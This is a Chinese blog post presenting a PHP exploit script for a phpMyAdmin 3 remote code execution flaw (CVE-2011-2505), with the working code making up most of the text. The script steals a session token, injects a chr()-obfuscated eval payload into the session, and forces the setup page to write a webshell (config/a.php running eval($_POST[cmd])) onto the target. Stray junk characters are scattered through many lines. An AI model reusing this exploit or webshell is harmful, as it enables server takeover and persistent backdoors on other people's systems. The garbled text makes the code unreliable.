phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
4 y7 s: U& u: f2 t当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
" _# z- h$ o: O. t$ ~: H
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：
' d; ~' o" o6 _$ C
#!/usr/bin/php
/ o2 r, Z" t% m<?php
, K  e3 O0 T. b! Q' |print_r('
/ b6 ?4 l0 }0 {) O% `) t8 _8 _+---------------------------------------------------------------------------+
' t( g/ f: |4 _2 m1 L% N0 w. u7 Upma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
$ W9 G2 d- v% ^( J- kmail: oldjun@gmail.com
8 E( M* _( q) h- R  S; t5 w1 }3 UAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');

/**
2 Y" e1 B- A7 t% k* @* O * working when the directory:"config" exists and is writeable.
2 b2 |5 j1 Q6 k* Y**/

: F9 Y8 q' d  ?# f5 }$ d8 d. nif ($argc < 3) {
5 v, v: A, [& a4 a    print_r('
2 r5 b( J" ~# q  `+---------------------------------------------------------------------------+
  [: t( X: E8 N' `7 zUsage: php '.$argv[0].' host path
$ W* W! l* t3 r. ^. W  B7 ~host:      target server (ip/hostname)
path:      path to pma3
0 W  }, N; T1 F9 X4 bExample:
2 n- Y4 U! w& p! V, [php '.$argv[0].' localhost /pma/
! C: t3 k, A! g) |+---------------------------------------------------------------------------+
');
    exit;
}
2 j  B9 f# `2 w1 r, `
1 }3 g0 H$ q9 q7 q" ]6 i$host = $argv[1];
/ X, Z: [8 a, _% O1 e3 O& C& y- z# F$path = $argv[2];

9 J$ W' q" g8 i: F$ ?5 f/**
: i  P  v' K8 K* r! Q! p0 r * Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
' _! v& i% D+ ^  G  l: B$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}

/**
- |8 f) v# f$ w$ W" u& N9 b * Try to get token and sessionid
8 f5 s6 h' ~( Q**/
+ e; ]- X+ e& d* B$ y2 ^echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
4 c' n" _) `- B9 s( d. y$token=$resp[3];
$sessionid=$resp[1];
if($token && $sessionid){
    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
) b( C9 U$ N* Z5 }}
1 H! C2 H% K/ O5 l, Q6 i$ W2 n
9 B5 n2 A9 K2 m& C/**
& H1 E& p7 B* p( S * Try to insert shell into session
/ A6 I9 V6 U. F/ d/ ]7 T4 l**/
echo "[+] Try to insert shell into session....\n";
6 m+ V1 x4 I5 g+ d; ~) Lphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
8 E2 ^2 o& e/ v! D7 t& B
/**
* Try to create webshell
& P& K) h: x$ @- B  i8 f**/
# @2 }3 E& E4 x' q) \' }" necho "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
# G: h/ Q3 z5 V, S4 [, S$content=php_request('config/config.inc.php');
2 g; c  J/ I9 X2 ^" X4 P" dif(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
4 n4 v  u- X: j4 g* Z    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
8 @! H- v) ?( v" V. L/ a; p    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}
( m: J4 W! {5 q0 G2 C' V% p5 b; h
3 C) g1 N$ M! \/ y6 Gfunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
, i7 t1 |  w% q   
8 `! C  X! F( z+ }. Z& i    $method=$data?'POST':'GET';
) [( [9 k# J3 ~8 b1 r) [   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
8 ^5 Z1 e4 f) M% m) m: K    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
" [& X8 v+ L7 j. {3 t6 O% t    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
$ l! ^: H4 {) m5 L' ^    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

" O; i* h) o- h& M    $fp = fsockopen(gethostbyname($host), 80);
8 n8 n  Z0 X* G/ t    if (!$fp) {
    echo 'No response from '.$host; die;
, U! ?' E+ @- e6 M' o8 c    }
) s! f1 l9 H  h    fputs($fp, $packet);
; p+ x- k9 F% m! w
, V: J0 C( |0 N+ m* e    $resp = '';
9 V. k8 \, d4 p' {2 T* b4 W; E
0 I$ K$ p& U1 Q9 z4 w( O3 O    while ($fp && !feof($fp))
% \' {4 l: t' T: T1 g0 w        $resp .= fread($fp, 1024);

    return $resp;
+ s. H, T, {0 s0 O/ }  D  i; s, I}
( ~5 ]1 S! p  ?8 o% P0 t   
3 x& ~+ O- p* G  A' y5 {# x0 k?>
; F* X" l, W2 J  f.